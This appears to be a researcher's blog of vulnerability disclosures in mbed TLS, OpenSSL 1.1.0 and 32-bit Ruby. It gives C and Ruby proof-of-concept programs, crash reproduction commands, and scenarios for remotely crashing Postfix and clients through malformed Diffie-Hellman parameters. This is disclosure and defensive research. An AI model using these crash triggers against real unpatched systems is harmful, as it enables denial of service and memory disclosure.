New vulnerabilities found in mbed TLS

mbedtls_mpi_mod_exp gives wrong result for negative parameters

Reported privately to ARM on December 16th 2016.

#include <mbedtls/bignum.h>
#include <openssl/bn.h>
#include <stddef.h>
#include <stdio.h>

#define NUMSTR1 "-1"
#define NUMSTR2 "0"
#define NUMSTR3 "55555"

void mod_exp_openssl(void)
{
    BIGNUM *A = NULL, *B = NULL, *C = NULL, *D = NULL;
    BN_CTX *ctx = NULL;
    char* str;

    if ( (ctx = BN_CTX_new()) == NULL ) {
        goto end;
    }

    A = BN_new();
    B = BN_new();
    C = BN_new();

    if ( BN_dec2bn(&B, NUMSTR1) == 0 ) {
        goto end;
    }

    if ( BN_dec2bn(&C, NUMSTR2) == 0 ) {
        goto end;
    }

    if ( BN_dec2bn(&D, NUMSTR3) == 0 ) {
        goto end;
    }

    if ( BN_mod_exp(A, B, C, D, ctx) == 0 ) {
        goto end;
    }

    str = BN_bn2dec(A);
    printf("openssl mod exp result %s\n", str);

    OPENSSL_free(str);

end:
    BN_free(A);
    BN_free(B);
    BN_free(C);

    BN_CTX_free(ctx);
}

void mod_exp_mbedtls(void)
{
    char buf[1024];
    size_t olen;
    mbedtls_mpi A, B, C, D;

    mbedtls_mpi_init(&A);
    mbedtls_mpi_init(&B);
    mbedtls_mpi_init(&C);
    mbedtls_mpi_init(&D);

    if ( mbedtls_mpi_read_string(&B, 10, NUMSTR1) != 0 ) {
        goto end;
    }
    if ( mbedtls_mpi_read_string(&C, 10, NUMSTR2) != 0 ) {
        goto end;
    }
    if ( mbedtls_mpi_read_string(&D, 10, NUMSTR3) != 0 ) {
        goto end;
    }

    if ( mbedtls_mpi_exp_mod(&A, &B, &C, &D, NULL) != 0 ) {
        goto end;
    }

    if ( mbedtls_mpi_write_string(&A, 10, buf, sizeof(buf), &olen) != 0 ) {
        goto end;
    }

    printf("mbedtls mod exp result: %s\n", buf);

end:
    mbedtls_mpi_free(&A);
    mbedtls_mpi_free(&B);
    mbedtls_mpi_free(&C);
}

int main(void)
{
    mod_exp_openssl();
    mod_exp_mbedtls();
    return 0;
}

See also: Wolfram Alpha

As far as I could verify, the library’s internal cryptographic function do not operate on negative numbers and are thus unlikely to be vulnerable. Software that calls this function directly might produce unintended behavior as a result of this bug.

mbedtls_mpi_gcd gives wrong result for negative parameters

Reported privately to ARM on December 22th 2016.

#include <mbedtls/bignum.h>
#include <openssl/bn.h>
#include <stddef.h>
#include <stdio.h>

#define NUMSTR1 "-1"
#define NUMSTR2 "0"

void gcd_openssl(void)
{
    BIGNUM *A = NULL, *B = NULL, *C = NULL;
    BN_CTX *ctx = NULL;
    char* str;

    if ( (ctx = BN_CTX_new()) == NULL ) {
        goto end;
    }

    A = BN_new();
    B = BN_new();
    C = BN_new();

    if ( BN_dec2bn(&B, NUMSTR1) == 0 ) {
        goto end;
    }

    if ( BN_dec2bn(&C, NUMSTR2) == 0 ) {
        goto end;
    }

    if ( BN_gcd(A, B, C, ctx) == 0 ) {
        goto end;
    }

    str = BN_bn2dec(A);
    printf("openssl gcd result %s\n", str);

    OPENSSL_free(str);
end:
    BN_free(A);
    BN_free(B);
    BN_free(C);

    BN_CTX_free(ctx);
}

void gcd_mbedtls(void)
{
    char buf[1024];
    size_t olen;
    mbedtls_mpi A, B, C;

    mbedtls_mpi_init(&A);
    mbedtls_mpi_init(&B);
    mbedtls_mpi_init(&C);

    if ( mbedtls_mpi_read_string(&B, 10, NUMSTR1) != 0 ) {
        goto end;
    }
    if ( mbedtls_mpi_read_string(&C, 10, NUMSTR2) != 0 ) {
        goto end;
    }

    if ( mbedtls_mpi_gcd(&A, &B, &C) != 0 ) {
        goto end;
    }

    if ( mbedtls_mpi_write_string(&A, 10, buf, sizeof(buf), &olen) != 0 ) {
        goto end;
    }

    printf("mbedtls gcd result: %s\n", buf);

end:
    mbedtls_mpi_free(&A);
    mbedtls_mpi_free(&B);
    mbedtls_mpi_free(&C);
}

int main(void)
{
    gcd_openssl();
    gcd_mbedtls();
    return 0;
}

See also: Wolfram Alpha

As far as I could verify, the library’s internal cryptographic function do not operate on negative numbers and are thus unlikely to be vulnerable. Software that calls this function directly might produce unintended behavior as a result of this bug.

Memory corruption in mbedtls_mpi_read_file

Reported privately to ARM on January 18th 2017.

604 char s[ MBEDTLS_MPI_RW_BUFFER_SIZE ];
605
606 memset( s, 0, sizeof( s ) );
607 if( fgets( s, sizeof( s ) - 1, fin ) == NULL )
608 return( MBEDTLS_ERR_MPI_FILE_IO_ERROR );
609
610 slen = strlen( s );
611 if( slen == sizeof( s ) - 2 )
612 return( MBEDTLS_ERR_MPI_BUFFER_TOO_SMALL );
613
614 if( s[slen - 1] == '\n' ) { slen--; s[slen] = '\0'; }
615 if( s[slen - 1] == '\r' ) { slen--; s[slen] = '\0'; }

Proof of concept:

#include <mbedtls/bignum.h>
#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    mbedtls_mpi X;

    mbedtls_mpi_init(&X);
    mbedtls_mpi_read_file(&X, 16, stdin);
    mbedtls_mpi_free(&X);
    return 0;
}

ASAN will be triggered if you do:

echo -en '\x00' | ./a.out

If the byte preceding the ‘s’ buffer happens to be 0x0A, stack memory corruption occurs. And if the byte before that is 0x0D, it happens again.

Not exploitable remotely (unless application software uses this function to load data from an untrusted file)

Memory corruption in mbedtls_mpi_write_string

Reported privately to ARM on January 5th 2017.

Proof of concept:

#include <mbedtls/bignum.h>
#include <stdlib.h>
#define NUMSTR1 "-066666666666666666666000000000000000000000000000000000000000000000000077771111111111111000009000000000000000"
int main(void)
{
    mbedtls_mpi A;
    char* buf;
    size_t olen;
    mbedtls_mpi_init(&A);
    if ( mbedtls_mpi_read_string(&A, 16, NUMSTR1) != 0 ) {
        return -1;
    }
    if ( mbedtls_mpi_write_string(&A, 16, NULL, 0, &olen) != MBEDTLS_ERR_MPI_BUFFER_TOO_SMALL ) {
        return -1;
    }
    buf = malloc(olen);
    if ( mbedtls_mpi_write_string(&A, 16, buf, olen, &olen) != 0 ) {
        return -1;
    }
    free(buf);
    mbedtls_mpi_free(&A);
    return 0;
}

Typically not exploitable remotely.

Can you spot the vulnerability?

ossl110d

This code was introduced in OpenSSL 1.1.0d, which was released a couple of days ago. This is in the server SSL code, ssl/statem/statem_srvr.c, ssl_bytes_to_cipher_list()), and can easily be reached remotely. Can you spot the vulnerability? (read ahead for the answer)

So there is a loop, and within that loop we have an ‘if’ statement, that tests a number of conditions. If any of those conditions fail, OPENSSL_free(raw) is called. But raw isn’t the address that was allocated; raw is increment every loop. Hence, there is a remote invalid free vulnerability.. But not quite. None of those checks in the ‘if’ statement can actually fail; earlier on in the function, there is a check that verifies that the packet contains at least 1 byte, so PACKET_get_1 cannot fail. Furthermore, earlier in the function it is verified that the packet length is a multiple of 3, hence PACKET_copy_bytes and PACKET_forward cannot fail.

Nonetheless OpenSSL has acknowledged that the OPENSSL_free line needs a rewrite: https://github.com/openssl/openssl/pull/2312

PS I’m not posting this to ridicule the OpenSSL project or their programming skills. I just like reading code and finding corner cases that impact security, which is an effort that ultimately works in everybody’s best interest, and I like to share what I find. Programming is a very difficult enterprise and everybody makes mistakes.

CVE-2017-3730: OpenSSL 1.1.0 remote client denial-of-service, affects servers as well (+ PoC)

somethingsfucky
Something’s fucky

I found this one completely by chance; I was messing around with the server’s Diffie-Hellman parameters (typical Saturday evening) and to my surprise it crashed the OpenSSL 1.1.0 client. Even for a project like OpenSSL, that doesn’t have the most stable foundation of code to work with (as evidenced by the amount of vulnerabilities that are released each year), remote and instant out-of-the-box crashes of stable releases are relatively rare; many of its security-impacting bugs are either related to weak cryptography or library functions susceptible to crashes under specific conditions (very large parameters, memory duress, specific configurations).

The vulnerability comprises a remotely triggerable NULL pointer dereference in OpenSSL 1.1.0 clients using a Diffie-Hellman-based ciphersuite. If the server sends an invalid ‘P’ parameter (such as an even number), which per the constraints of the Diffie-Hellman procedure must be prime, the client code will refuse to process this parameter, leading to setting a certain variable to NULL. A subsequent operation assumes this variable to be a valid pointer, whereupon the NULL pointer dereference occurs.

ssl_cke_dhe2
The highlighted line 2261 in the right-hand screen is the culprit; it assumes that ckey is a valid pointer

By virtue of the fact that the OpenSSL 1.1.0 line of releases isn’t very widespread yet — the stable releases of major Linux distributions still ship OpenSSL 1.0.2 or derivatives — the potential for incapacitating a large amount of networked software is probably limited. On top of that, major browsers all ship with their own flavor TLS libraries that, as far as I know, are not vulnerable.

Exploitation of servers

However, the danger that the vulnerability poses isn’t strictly limited to crashing simple TLS-enabled client software like curl if their user happens to manually connect to a “malicious” server. Many web applications, for instance, are complex and cater to a wide range of needs, some of which entail that the server-side code initiates a HTTP to another server; WordPress pingbacks spring to mind. If the web application at hand would leverage OpenSSL as its TLS wrapper to connect to HTTPS:// URLs, this would in effect reverse the roles of adversary and victim (formerly server and client respectively) and the bug could be exploited to target servers (this must be remembered for when a bad OpenSSL or curl “client-only” vulnerability emerges).

Remotely crashing the Postfix MTA

In an effort to demonstrate servers’ vulnerability to client issues, I’ve managed to crash the Postfix mail-transfer agent remotely if it connects to a malicious SMTP server that’s offering a wrong DH parameter after STARTTLS.

postfix

I assume it is possible to cause a certain amount of service disruption on OpenSSL 1.1.0-enabled mail servers by signing up for a mailing list with an e-mail address whose domain name, or rather its MX record, is pointing to a malicious server.

Other well-known server software that can initiate secure outbound connections is probably vulnerable to some degree as well. Think of Exim, proftpd (with mod_tls, by issuing an FXP request), pingbacks, oEmbed and similar via blogging software, etc. Time constraints have prevented me from exploring these options.

A ready-to-use proof of concept Postfix crasher can be found in my Github repository for this vulnerability (see below).

Crashing clients as a man-in-the-middle

Network entities who are in the position to read and alter data of third parties, such as a SOCKS proxy server, a Tor exit node, or someone who has performed an ARP spoofing attack on a WiFi network, are capable of intercepting every or any plain HTTP request and responding to it with a HTTP redirect to a “malicious” HTTPS server that’s offering a corrupt Diffie-Hellman parameter.

OpenSSH can be instructed to operate as a proxy server, so what I did was change its source code so that it will recognize a known Diffie-Hellman P parameter in the data stream between the client and the server for which it relays in its role as a proxy server, and patch the value on the fly (by setting the rightmost bit of P to zero, making it an even number), leading to a client crash despite the server being “benevolent”!

However, it only works for pre-shared key modes and not for ciphersuites that rely on RSA for signing, because the OpenSSL client will terminate once it determines that the RSA signature doesn’t add up before reaching the vulnerable bit. It is nonetheless interesting to see that a data relay in the network is able to affect peer stability in this way.

Proof of concept code

Code can be found here: https://github.com/guidovranken/CVE-2017-3730

This repository also includes a patch that can be used to patch the latest version of ARM mbed TLS so that it will serve DH parameters that will crash OpenSSL.

openssh-patch
Part of the changes I applied to OpenSSH so that it will patch Diffie-Hellman parameters on the fly.

Source code auditing

I’ve found many security defects in open source software. If there is open-source software written in C that you use and you would like to see reviewed for security problems for a fee, feel free to contact me.

Most open source software has never been seriously scrutinized for vulnerabilities, and even the most prominent of applications such as OpenSSL, OpenSSH, Apache, Tor, web browsers and so forth continue to exhibit problems.

As soon as a C application’s complexity is such that it can perform non-trivial tasks, it quickly becomes impossible to intuit all of its corner cases. The source code needs to be subjected to a focused review, an undertaking that requires its own particular set of tricks, tools, strategies, creativity and experience.

You may also contact me to review your private or proprietary C code. I almost always find problems in a given source code tree.

guidovranken at gmail

OpenSSL 1.1.0: remote client memory corruption in ssl_add_clienthello_tlsext()

This requires tickets, requesting certificate status from server, and
a large ALPN list. The most unusual requirement is that the client sets a very large ALPN list. This is very unlikely in a real-world application, and therefore OpenSSL is treating this issue as a bug rather than a vulnerability, and I agree with this assessment. I’m publishing this because I think it’s nonetheless an interesting case.

Modify the server so that it will send a large ticket. What I did was
edit tls_construct_new_session_tickets so that the buffer is large
enough:

3051     if (!BUF_MEM_grow(s->init_buf,
3052                       SSL_HM_HEADER_LENGTH(s) + 6 + sizeof(key_name) +
3053                       EVP_MAX_IV_LENGTH + EVP_MAX_BLOCK_LENGTH +
3054                       EVP_MAX_MD_SIZE + slen + 0xFFFF))
3055         goto err;

adjust ticket size:

3132     p += hlen;
3133     p += 16022;
3134     /* Now write out lengths: p points to end of data written */
3135     /* Total length */

(I added the line with 16022).

Run the server like this:

openssl s_server -alpn 'x'

Run the client like this:

openssl s_client -reconnect -status -alpn `python -c "import sys;
sys.stdout.write('x,'*4000+'x')"`

This should result in a crash.

This is due to an invalid size check in the TLSEXT_STATUSTYPE_ocsp
part of ssl_add_clienthello_tlsext:

1264         if ((long)(limit - ret - 7 - extlen - idlen) < 0)
1265             return NULL;
1266         s2n(TLSEXT_TYPE_status_request, ret);
1267         if (extlen + idlen > 0xFFF0)
1268             return NULL;
1269         s2n(extlen + idlen + 5, ret);
1270         *(ret++) = TLSEXT_STATUSTYPE_ocsp;
1271         s2n(idlen, ret);
1272         for (i = 0; i < sk_OCSP_RESPID_num(s->tlsext_ocsp_ids); i++) {
1273             /* save position of id len */
1274             unsigned char *q = ret;
1275             id = sk_OCSP_RESPID_value(s->tlsext_ocsp_ids, i);
1276             /* skip over id len */
1277             ret += 2;
1278             itmp = i2d_OCSP_RESPID(id, &ret);
1279             /* write id len */
1280             s2n(itmp, q);
1281         }
1282         s2n(extlen, ret);
1283         if (extlen > 0)
1284             i2d_X509_EXTENSIONS(s->tlsext_ocsp_exts, &ret);

s2n (2 bytes), s2n (2 bytes), ret++ (1 byte), s2n (2 bytes) and then the s2n on line 1282 is 9 bytes, but the check on line 1264 checks only for 7 bytes. Using a specially crafted ticket (size) you can ensure that ‘ret’ is 2 bytes PAST ‘limit’ after this routine.

Then in the ALPN writing routine later this happens:

1324     if (s->alpn_client_proto_list && !s->s3->tmp.finish_md_len) {
1325         if ((size_t)(limit - ret) < 6 + s->alpn_client_proto_list_len)
1326             return NULL;

limit – ret is cast to size_t, so instead of -2 it becomes a very large value, and the code execution passes this check.

Then the memcpy a few lines later causes the crash.

It doesn’t crash immediately after ‘ret’ crosses ‘limit’ because the
buffer is over-allocated by the code in crypto/buffer/buffer.c:

 87     /* This limit is sufficient to ensure (len+3)/3*4 < 2**31 */
 88     if (len > LIMIT_BEFORE_EXPANSION) {
 89         BUFerr(BUF_F_BUF_MEM_GROW, ERR_R_MALLOC_FAILURE);
 90         return 0;
 91     }
 92     n = (len + 3) / 3 * 4;

which is why a relatively large ALPN size is required for the crash.

Note that nothing out of the ordinary will happen if the server sends normal-sized tickets.

And just to be clear, you don’t need to modify the source code of the client in order to make this work. You only need to modify the server code (a separate build if you want) so it sends large tickets.

32-bit Ruby arbitrary length OOB read in strscan module

require 'strscan'
x = 'x' * 0x7FFFFFFE
s = StringScanner.new(x)
s.pos = 0x7FFFFFFD
t = s.peek(40000)
t.each_byte do |i|
    if i != 0
        print i.chr
    end
end
$ ./ruby poc.rb | strings
@	;>@V`TdBE
__gmon_start___fini_ITM_deregisterTMCloneTable_ITM_registerTMCloneTable__cxa_finalize_Jv_RegisterClassesonig_region_memsizeonig_region_freeruby_xfreerb_gc_markrb_check_typeddatarb_num2longrb_eRangeErrorrb_raiserb_int2bigrb_eArgErrorrb_string_valuerb_reg_region_copyrb_memerrorrb_data_typed_object_zalloconig_region_initrb_str_newrb_str_dumprb_str_new_staticrb_str_catrb_funcallrb_str_lengthrb_str_appendrb_error_arityrb_warningrb_enc_copyrb_sym2strrb_enc_getonig_name_to_backref_numberrb_eIndexErrorrb_enc_raiseonig_region_clearonig_region_setrb_enc_mbclenrb_check_typerb_reg_prepare_reonig_matchonig_freeonig_searchrb_obj_classrb_sprintfInit_strscanrb_cObjectrb_define_classrb_eStandardErrorrb_define_class_underrb_const_definedrb_obj_freezerb_const_setrb_define_alloc_funcrb_define_private_methodrb_define_singleton_methodrb_define_methodrb_intern2rb_aliaslibpthread.so.0libdl.so.2libcrypt.so.1libm.so.6libc.so.6_edata__bss_start_endGLIBC_2.1.3
@xh[
D$ P
UWVS
[^_]
&WVS
t&WVS
t&VS
'WVS
D$ P
'UWVS
l$8PV
[^_]
'UWVS
[^_]
;|$0|
L$0)
;|$0|
L$0)
'UWVS
l$<P
[^_]
~`9G
[^_]
PjjW
vWVS
PjjW
t&WVS
PjjW
vUWVS
[^_]
vUWVS
|$@P
[^_]
'UWVS
|$<j
[^_]
~$RW
QRQU
&UWVS
|$<j
[^_]
~$RW
RPRPU
UWVS
|$<j
[^_]
~$RW
QRQU
[^_]
UWVS
|$<j
[^_]
~$RW
RPRPU
&UWVS
|$<j
[^_]
~$RW
RPRPU
[^_]
&UWVS
|$<j
[^_]
~$RW
QRQU
'UWVS
|$<j
[^_]
~$RW
QRQU
UWVS
|$<j
[^_]
~$RW
RPRPU
UWVS
|$<j
[^_]
~$RW
RPRPU
UWVS
|$<j
[^_]
~$RW
QRQU
t&VS
t&UWVS
[^_]
vUWVS
[^_]
&UWVS
|$<P
[^_]
'WVS
^j2P
 jPW
 [^_
uninitialized StringScanner objectunscan failed: previous match record not existStringScanner#empty? is obsolete; use #eos? insteadundefined group name reference: %.*sStringScanner#getbyte is obsolete; use #get_byte insteadStringScanner#peep is obsolete; use #peek insteadStringScanner#clear is obsolete; use #terminate insteadStringScanner#restsize is obsolete; use #rest_size instead$Id: strscan.c 53715 2016-02-02 04:39:44Z naruse $index out of range...regexp buffer overflow#<%li
 (uninitialized)>#<%li
 fin>#<%li
 %ld/%ld @ %li
>#<%li
 %ld/%ld %li
 @ %li
>ScanErrorbytesliceStringScanner0.7.0VersionIdinitializeinitialize_copymust_C_versionresetterminateclearstringstring=concat<<pos=charpospointerpointer=skipmatch?checkscan_fullscan_untilskip_untilexist?check_untilsearch_fullgetchget_bytegetbytepeekpeepunscanbeginning_of_line?bol?eos?empty?rest?matched?matchedmatched_size[]pre_matchpost_matchrestrest_sizerestsizeinspect
;*2$"
 pH	`
vGCC: (Debian 4.9.2-10) 4.9.2
,	]_
^8	[
^<	=T
BD	~t
PF		
H	AT
^h	]Q
^ 	{
4$	"
^0	g
^4	o
H	u%
^X	q$
	\	u3
,	]_
^8	[
^<	=T
BD	~t
PF		
H	AT
^h	]Q
^ 	{
4$	"
^0	g
^4	o
H	u%
^X	q$
	\	u3
UU!""
UU#DD
!""l
UU( 

Fixed in git master.